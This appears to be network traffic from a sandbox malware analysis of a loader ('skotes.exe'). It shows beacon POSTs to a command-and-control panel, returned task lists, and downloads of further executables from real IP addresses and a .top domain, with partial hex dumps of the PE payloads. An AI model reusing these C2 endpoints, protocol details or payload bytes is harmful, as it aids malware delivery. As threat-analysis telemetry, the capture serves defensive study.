Nov 20, 2024 08:09:31.324311018 CET	1236	IN	Data Raw: e3 3a a3 1b e2 08 98 fd 63 95 c7 88 e2 01 5d 34 0d 75 c7 fc f2 86 a3 20 b0 b7 02 cc a5 79 65 b9 ef 05 99 3d c9 89 e9 cc f1 71 c5 3e 4d d1 67 3c 1c 87 96 cc 09 61 ba f4 ec c5 9a 96 61 75 7f 7d 7d 95 d8 d8 c9 f5 c5 42 8d d1 c7 7c e1 06 ee 6e 99 45 Data Ascii: :c]4u ye=q>Mg<aau}}B\|nE@Kzqy642uIE)Miq:/DtytY!3\/MQi<3]aE6/B]!hlYZDniEt@Zws&vYU+
Nov 20, 2024 08:09:31.324333906 CET	248	IN	Data Raw: 00 a9 38 7e 18 1d bc 10 14 2d 32 4d 07 5a d2 4c 14 53 6c a0 d6 25 6d dc b3 ea 53 55 80 63 94 72 69 98 2d 2a c4 5c 43 3e 0f 8b 85 ad 6d 4d 38 4f d5 34 68 fc 4d 24 a5 97 e5 93 85 dc 03 ce 9e 01 92 4d 81 8d 11 77 21 e9 22 ac 70 33 9c 65 fb 97 92 30 Data Ascii: 8~-2MZLSl%mSUcri-*\C>mM8O4hM$Mw!"p3e0C!YWQHHN_!TZ06sZSI4ihEcCh_Xrm=0t/2r`apGEI!bqQE=xx.E
Nov 20, 2024 08:09:31.324347019 CET	1236	IN	Data Raw: 90 46 a1 3e 47 9d 3f 7e 8f 57 c9 b8 6d d0 81 c8 d6 a9 11 31 d9 d6 3a 8a 4f c5 42 7d cc b6 48 91 c6 40 4e 13 41 45 7a 21 bc 5d ba 97 ca 4d 30 5b b1 62 2a 40 b2 51 7f 37 e4 64 c0 13 90 72 09 c9 d9 97 96 a3 ed d5 d5 61 59 d3 c5 cd 67 05 2a 76 e2 19 Data Ascii: F>G?~Wm1:OB}H@NAEz!]M0[b@Q7draYgvSQbi;vNi,n6uO1p]).Knjz+S;?&u^AsnOO\O@>AoZFwIJMJl*q+$ZJ
Nov 20, 2024 08:09:31.324361086 CET	1236	IN	Data Raw: 9c 2a 13 d3 f7 f5 37 ca 9e db 52 5d b6 94 48 ff 81 e1 b7 3d 0e 41 c3 98 64 b7 ea f8 cf fb e2 40 6c 35 c4 44 53 5d d6 e2 a4 67 c4 7f 31 28 77 9c 75 a0 ba 3a 55 54 52 97 41 2a 1f 12 c5 bd f6 c5 ca 63 98 c7 b9 91 b8 9c cc 3d 10 a2 62 c3 dd 2a 7b 2c Data Ascii: 7R]H=Ad@l5DS]g1(wu:UTRAc=b{,W5,{"IANxWl9P0EuSqw=>CV,MJ!=\|N\*~e<{VCn;WNq@_6J^~%'xJf@AFT
Nov 20, 2024 08:09:31.330773115 CET	1236	IN	Data Raw: 1f a1 6a 6b 32 57 cd 87 e3 74 fe ce 5a 05 a5 97 2b 93 89 2a 8c de d4 4e a2 87 21 99 a9 14 43 12 63 55 c7 d1 d5 4e ea b4 89 0f 88 59 29 8f c5 1a 47 d0 64 41 13 f7 35 cc 1e 9e 80 36 9d c8 29 05 ce 56 3b 94 8c 51 cb e9 27 16 af 87 d3 3d c0 3d 04 3f Data Ascii: jk2WtZ+*N!CcUNY)GdA56)V;Q'==?%tO&eSoWW/x=wpMpM<wm@!p,Va='=pcJgzmP>wzdt5Mk_P(jS=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	50121	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:04.886657953 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 20, 2024 08:10:05.633836031 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	50122	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:07.149619102 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 34 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CB12975B45F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 20, 2024 08:10:07.893584013 CET	644	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 63 35 0d 0a 20 3c 63 3e 31 30 30 37 36 30 33 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 39 37 65 39 63 34 35 34 33 62 33 31 64 65 31 35 34 34 31 23 31 30 30 37 36 30 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 37 36 30 35 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 37 36 30 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 [TRUNCATED] Data Ascii: 1c5 <c>1007603001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbd97e9c4543b31de15441#1007604001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1007605001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1007606001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1007607001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	50123	31.41.244.11	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:07.902791023 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 20, 2024 08:10:08.873183012 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:08 GMT Content-Type: application/octet-stream Content-Length: 4392448 Last-Modified: Wed, 20 Nov 2024 06:26:53 GMT Connection: keep-alive ETag: "673d812d-430600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 b0 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c4 00 00 04 00 00 06 1b 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 92 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 92 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@C@ _qs px'@.rsrc p'@.idata q'@ 08q'@secyibqm`@T'@jcradwodB@.taggant0"B@
Nov 20, 2024 08:10:08.873231888 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:08.873249054 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:08.873265982 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:08.873285055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:10:08.873301983 CET	1236	IN	Data Raw: 80 ca 60 ae ad 07 fb f7 14 35 ce 22 ae fd 84 1b 9c 8b d5 cb 55 b9 2b 9a 77 f2 4d ef a3 b5 93 da 52 fd c5 72 fb 5e 63 86 09 66 f6 36 f5 d4 7d 21 83 44 56 b3 20 71 e7 e0 6a 2d ff 7b a0 79 16 a9 bd 50 38 e3 f0 00 d7 11 fe cc 78 d8 34 8f 6e 59 a7 32 Data Ascii: `5"U+wMRr^cf6}!DV qj-{yP8x4nY2 \|'A!bMn$QN]#4Ojw]-@bI,s1~r~nK.f:JWzplUF;O_$F*" 8H'=~B8fk0J@/M2`yv{pp[ v^
Nov 20, 2024 08:10:08.873318911 CET	896	IN	Data Raw: bd cf 4f 8c 16 ba 41 b7 a1 25 64 e3 af fa 44 25 32 56 89 a2 f0 3d 87 b6 bf 65 e4 09 51 f9 dc 64 b0 7b e7 16 35 bc c7 c5 8d f0 21 3c b5 b6 98 00 0f d0 29 f7 0f ed 2f 3a 41 1d 06 04 eb 43 c2 77 a3 75 bf 22 5e 5f 88 3c 6d a0 ad 04 f9 38 41 ba 1d 00 Data Ascii: OA%dD%2V=eQd{5!<)/:ACwu"^_<m8A@O`Jz# -fv;!72=:JYYX#xDxqK;MZcN#8<$_iZ15tX}0!5%c/-
Nov 20, 2024 08:10:08.873519897 CET	1236	IN	Data Raw: f4 8e 8a c6 fa 1e 49 1e 96 d1 36 22 2a a1 19 ec 28 3c 8d 9d 9c fc 15 92 39 ae dc ba dc f7 0d 2c 33 b8 5e 31 e8 37 1a a7 8f a4 30 9a 16 a1 33 65 25 23 da 76 0e a5 8d 48 d4 a6 02 5d 75 59 17 23 34 2c 3b 5a f9 2d df b8 19 d7 79 9c 62 db f4 b6 7b ce Data Ascii: I6"*(<9,3^1703e%#vH]uY#4,;Z-yb{R#-&o"izG$dy03<5>P5T\(]<-8dx{"G_6.P;jt l h[\sZX}:,&cSMW.:[UkLP`8TLQg`
Nov 20, 2024 08:10:08.873533964 CET	224	IN	Data Raw: f1 39 6f 7c 5a 65 01 0e fc 78 19 0e a7 34 3c bb f5 90 5e 1c b9 a0 94 0e d4 51 95 99 ef ed f9 01 0c 5a 60 94 99 94 82 9d bd 32 df a1 70 a2 48 24 b1 b8 14 ec 1b 60 cd df 2d e9 6f ae 11 82 97 85 bb 25 3a 1f 4f c5 96 84 0c a2 53 19 7b 03 3e cf 6e 6a Data Ascii: 9o\|Zex4<^QZ`2pH$`-o%:OS{>njtQ.q6~74RhbaH16i0PU~m/PMeGQj`0g,0$'Ot<MB
Nov 20, 2024 08:10:08.873549938 CET	1236	IN	Data Raw: eb bd 46 89 b8 e6 43 c8 6f 78 a8 23 61 1e 64 ec 2e 80 4d 71 18 92 14 a0 1d 44 3b 47 f5 b1 d0 0b 5b 5f 70 d7 cc 3b 93 d0 d1 64 68 f2 a3 26 7b 8e 8e 09 ba 9d 94 dc 3e c7 df 38 54 1d 23 78 2e ab f1 41 52 92 1c af 5a 4e 07 55 d0 77 18 6b 8d 00 76 10 Data Ascii: FCox#ad.MqD;G[_p;dh&{>8T#x.ARZNUwkv+,6Y`Q&U`kSKv.u~HE5v426V,rU@cT\|)5!@Hi.G\|P5]{DY1)*m3rqpxdb'n
Nov 20, 2024 08:10:08.873574972 CET	1236	IN	Data Raw: a3 78 79 8d 6f e2 4a b7 f4 56 06 19 0b 9c 58 25 4b 93 4f ef 1f 3d fa de 69 30 fc e0 bb 72 77 9c d3 de 47 92 90 43 8b 2b 3b 08 ab 9e 98 cd d1 a4 4d 3c 96 ae 1f 57 27 b2 f1 a5 f7 87 0d 20 fc dd 25 4d aa 84 1b 21 f7 85 e4 9e 29 89 d1 58 f6 8b 1d a5 Data Ascii: xyoJVX%KO=i0rwGC+;M<W' %M!)X;bBM[cQQOl9C%&WNQaaU{WTg=oUsSsH8P-3b:t<]:.8LCbeB&9:N ZG
Nov 20, 2024 08:10:08.874114037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:08 GMT Content-Type: application/octet-stream Content-Length: 4392448 Last-Modified: Wed, 20 Nov 2024 06:26:53 GMT Connection: keep-alive ETag: "673d812d-430600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 b0 c4 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c4 00 00 04 00 00 06 1b 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d4 92 c4 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 84 92 c4 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL<g(Is2J@C@ _qs px'@.rsrc p'@.idata q'@ 08q'@secyibqm`@T'@jcradwodB@.taggant0"B@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	50124	185.215.113.43	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:14.683435917 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 36 30 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007603001&unit=246122658369
Nov 20, 2024 08:10:15.404162884 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	50126	34.116.198.130	80	8108	C:\Users\user\AppData\Local\Temp\1007603001\ae2b9dbc74.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:15.149261951 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
Nov 20, 2024 08:10:15.907562017 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Wed, 20 Nov 2024 07:10:15 GMT content-type: application/octet-stream content-length: 10815536 content-disposition: attachment; filename="36EpLiutqfXtaXMkXOTru;" last-modified: Tue, 19 Nov 2024 12:29:07 GMT cache-control: no-cache etag: "1732019347.4431374-10815536-3919321515" Data Raw: 9b 04 9e 1d e2 2a 68 73 fe d9 48 6f 2c 36 36 c8 a4 e4 ba e7 12 f9 22 5d 6f 07 aa d2 fb 8c a2 b3 95 1e b6 6c ff 92 32 40 41 97 30 99 34 26 c9 44 c2 1e 7f 22 13 cd 10 62 a7 32 f3 c2 5c 11 ed c0 71 4a 49 c7 9d 3e 95 07 3e 4a 0a 6f 63 4c 1a b8 b6 1a 3d 67 8e 9d ed 46 4c 04 61 0a c6 3c 7b 3a f6 0d 3f 30 0d 33 18 56 4c f0 76 7a 8b c7 a1 f1 75 64 d6 00 c3 e9 df 3a 1b 4f 35 50 64 a6 db 6b 23 6a aa e6 6c 33 a4 69 a7 80 16 e0 e4 49 7c d0 73 7d bf 61 a2 62 7a 62 8e 5b f4 4d a9 ba 05 ae 7f d8 0c 3c 1e 71 cb 84 47 32 b1 63 64 df 8e 7a 22 8c 8e 33 7d f1 20 f1 74 04 61 fd 18 55 10 be 45 7d f4 63 45 d4 d0 16 17 c4 c8 a6 7d 44 80 d2 ba e9 1a 17 37 63 43 e4 22 3e c5 e4 a4 16 51 4f 2d 57 23 3a 36 33 fa f3 c5 aa 04 00 79 5c 1f 43 8d f1 b2 56 df 86 17 bc df 28 44 b7 aa 85 64 2d 2f 94 0d a5 7c 18 37 92 cb 0d 76 40 2e 05 16 6a ce b1 8c 0a e3 7d 08 00 ce 6a ef d3 51 b9 3b 81 19 3c 3f 6c 3e 37 fe 3f d7 b3 7d 60 7e e2 b1 a4 1f 00 62 27 63 3d fd 4b 06 87 dc 8e 8e fa 56 9b bf 7a dc a3 07 20 e3 0b 1a f5 06 b1 0f 6d 27 af dd 1b [TRUNCATED] Data Ascii: hsHo,66"]ol2@A04&D"b2\qJI>>JocL=gFLa<{:?03VLvzud:O5Pdk#jl3iI\|s}abzb[M<qG2cdz"3} taUE}cE}D7cC">QO-W#:63y\CV(Dd-/\|7v@.j}jQ;<?l>7?}`~b'c=KVz m'3~\K ^m_F<4xrG/dz4?gv5,?^w@X^wZ1~7C+Z&dp`#9XgJC>e93VGh74x?x[3=YT.Qa `MG?_zGkB+(#8RUeY[x-$4`zAc`vmVlP+>tsd@>ydCHSnt+_`"FitXXD.}P #(4K<0b h;]6{bgEqvZ>4o]2?}#\|![L&!z";ZY<PPT9HC}M*65qs#ep%@LlGH)bj'7a: ;B3L0"
Nov 20, 2024 08:10:15.907604933 CET	1236	IN	Data Raw: b8 ff 32 30 58 cd 81 20 5f b7 4d f7 d5 77 53 0a 4f e7 60 83 ed 44 cc d0 f5 71 1e 4e 4f f8 01 9b 7d 28 47 50 fb 75 8d 8e 55 9f 9d c6 2b 06 24 6f 58 e4 80 8f e0 a2 b4 79 5d f7 cf 4a e0 fc b8 91 16 d1 c7 db 64 34 ea ff 9a 7a 67 99 a9 5e e5 15 9c c8 Data Ascii: 20X _MwSO`DqNO}(GPuU+$oXy]Jd4zg^h(>sNk=@nIEbcZ"~Q6]4AGc]>2+<X]2]CRq[Ya{YvF{m2*bg3\|8IBlm&
Nov 20, 2024 08:10:15.907615900 CET	448	IN	Data Raw: 31 a0 27 b0 31 e8 22 a5 51 78 81 6b ea a9 43 84 11 c4 be 3a 3c 17 d0 63 57 c5 20 31 2f c5 f3 3d bf 67 df 7f 0a 0e 93 9c af 04 65 f3 af a9 d4 4f 98 e4 8e ec 3f 1b 0f e9 f3 b7 01 21 79 8f 56 8d ec 70 82 ac 4b 64 58 ce 90 f4 54 8d 94 fe aa 7b 06 b3 Data Ascii: 1'1"QxkC:<cW 1/=geO?!yVpKdXT{`6u}]dTlC%hU.\|zi<kGB5}mP=PNp?%G~e\|NSF{)OfI"&l6~/YLm#K>
Nov 20, 2024 08:10:15.907664061 CET	1236	IN	Data Raw: d7 69 56 5c 8a fd 33 9e 31 ec 9c c1 d8 a3 f8 47 b9 cc 30 c6 da b0 45 93 21 42 a9 8a 57 60 09 fc cb 2e 90 9f 59 f0 8b 62 19 4c e4 91 74 f4 c2 17 35 08 34 0f fa 4a 11 49 ca a5 33 36 3f 6c 4b 54 c1 48 18 75 22 c4 7d c6 78 b5 d9 5a 9e 0d b4 86 45 8f Data Ascii: iV\31G0E!BW`.YbLt54JI36?lKTHu"}xZEtL\|TZA92uyrsE.] PC7CP[@}(u'Hmw&v:7bgt*?!7#N+/hu aRMQ(t
Nov 20, 2024 08:10:15.907731056 CET	1236	IN	Data Raw: 9e c8 f9 2c d3 c1 9f cc a0 34 08 7a ad 0b e4 2e 35 3a ce 67 9d dc a0 60 dc 6b be 57 78 5b 5f 06 53 0a 53 1e 07 7e 7b 82 f3 b7 6a 36 61 d0 f9 31 6f 7b e2 48 2b e7 69 db 11 a5 86 1e ef 46 8a cc d5 c4 46 56 80 9b 3f 56 a1 11 80 1a d4 9c cd 4d 0b 0f Data Ascii: ,4z.5:g`kWx[_SS~{j6a1o{H+iFFV?VMFQw7bW>wTeh2?Cc7@;^fM=o6Fd?nK94.Ss^YB2*Eapp_&Lh@:;H9&
Nov 20, 2024 08:10:15.907743931 CET	288	IN	Data Raw: d1 ca c2 72 2b 2a 69 8a 8e 69 6d 1a a3 0b de d2 67 39 94 b0 3c fd b1 00 b2 89 e5 ba 44 1d f1 aa 04 0f d8 40 75 56 6e 2d 1c 10 db 16 c6 6f b0 d1 a9 ad d3 87 3c c3 92 57 ef ef 51 85 86 e7 f3 24 4a 6a 92 62 65 0f 5d 4a 2d 34 91 44 1f 39 d7 8d 68 06 Data Ascii: r+*iimg9<D@uVn-o<WQ$Jjbe]J-4D9hB]n!V5lrX_P$b}[O B:<l4gIAPFw%2a`^_dA2ri@QC_%]-zW"H-9o<oajCER X<.G
Nov 20, 2024 08:10:15.909210920 CET	1236	IN	Data Raw: b7 6f 78 2f 72 9a f8 71 ee 3e 4d ec cd e0 d6 39 1b 0b f8 cc 7b 0a 55 40 86 a4 38 5e 83 b5 fc e0 93 ab 8f 79 ff 2c ea 7f fb f5 e0 1c 04 c9 78 b4 a0 79 3e 8c 6f 69 95 1c c9 72 b5 b0 e6 fb 54 c9 c0 3c 1a e1 a6 31 d1 0f 6c 0f 0f 85 ac e2 b0 b2 c7 c3 Data Ascii: ox/rq>M9{U@8^y,xy>oirT<1lV{\|g9wy(`}Dc}:&4(;'"1kzZpZ97~}<m{)F)O^Rh0r2^5n-h!`/=F:3V $?`S8PV(H0G
Nov 20, 2024 08:10:15.909251928 CET	224	IN	Data Raw: 57 2c 20 61 54 7a b6 2c 68 3b 66 61 73 1c 1d e2 eb 23 01 c0 46 a0 c6 87 aa 95 40 ad 7b 08 bb 48 0d 79 be 2c f9 13 49 ba 00 72 3e f6 f7 54 25 f7 1d c0 95 14 90 7f 7d 58 7c 28 e3 12 6d ed 4d ed 8f 3a b7 07 70 d4 c0 68 0f c2 e9 27 a1 ad 3b 66 f8 e6 Data Ascii: W, aTz,h;fas#F@{Hy,Ir>T%}X\|(mM:ph';fv6 6N5t]S\|.<aoYRBb7VgfLh08uW_<u[:kh##2%dK5##uJ4Bn_~l(N~vZ
Nov 20, 2024 08:10:15.909261942 CET	1236	IN	Data Raw: d7 5c 83 e7 00 c3 dd f6 20 60 84 bf 40 4b 30 61 da f3 7a b6 aa 52 19 74 e1 50 44 7b 25 98 89 7b fc ad 61 fe 29 30 70 93 1e 44 fe 30 6f 10 c4 df c3 37 92 a1 69 5b ad 77 27 ef 41 8a 72 59 4b 2c cb db 72 0c b4 21 95 9a 1e 28 6d 78 22 04 19 66 fc 59 Data Ascii: \ `@K0azRtPD{%{a)0pD0o7i[w'ArYK,r!(mx"fY+cRu{.%o49`e\|WlI#](&}/\|vH3gpJ2IC}kS zH 6M-'}C\|L'd)F{b-bS8V~'~W#}O:
Nov 20, 2024 08:10:15.909296989 CET	1236	IN	Data Raw: 12 0d 34 2e 75 81 78 6d 02 a4 c4 8e b4 09 73 e1 93 44 8a 99 01 70 1e 8b 5e 1c 55 82 ba fe 09 b6 a6 5a a8 a5 14 4e ea db cf 27 9e 21 4c 6a b7 fe 69 28 56 ee ea e9 c6 ea b1 d6 a3 f8 83 c2 2e 0a fa 0a e0 07 c1 47 38 15 4f 1f 60 e4 61 f6 d9 93 96 26 Data Ascii: 4.uxmsDp^UZN'!Lji(V.G8O`a&i@kQr' V:Jb7;>:%B$'SRO1a=uH~@z4=Uny1'-s^b=}9$j5g)}:3)rC9;xz
Nov 20, 2024 08:10:15.913712978 CET	1236	IN	Data Raw: 41 e6 bb 74 5c f4 40 f0 ea c8 95 dc fe 60 16 0f 78 d7 a0 bf 55 46 df 1f a5 fc a6 a2 0f 7a a2 b4 8f e2 1a db da 83 a9 f8 4d c9 65 cf c2 c5 c6 04 80 9e 03 9a 15 28 43 df a9 2d 19 8e 2d 3a 8a 9d 31 c8 7d 91 bb 5c 97 e5 82 2a 19 a3 ef 92 7f aa 8f fb Data Ascii: At\@`xUFzMe(C--:1}\*q(MZ7vki/1\|<GTrL->}z8@I?chO/M'}:xUWJ#%A"Z2179x7X)\|3.WS1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	50127	185.215.113.16	80	8936	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:10:15.421943903 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 20, 2024 08:10:16.358860016 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:10:16 GMT Content-Type: application/octet-stream Content-Length: 1855488 Last-Modified: Wed, 20 Nov 2024 06:31:35 GMT Connection: keep-alive ETag: "673d8247-1c5000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 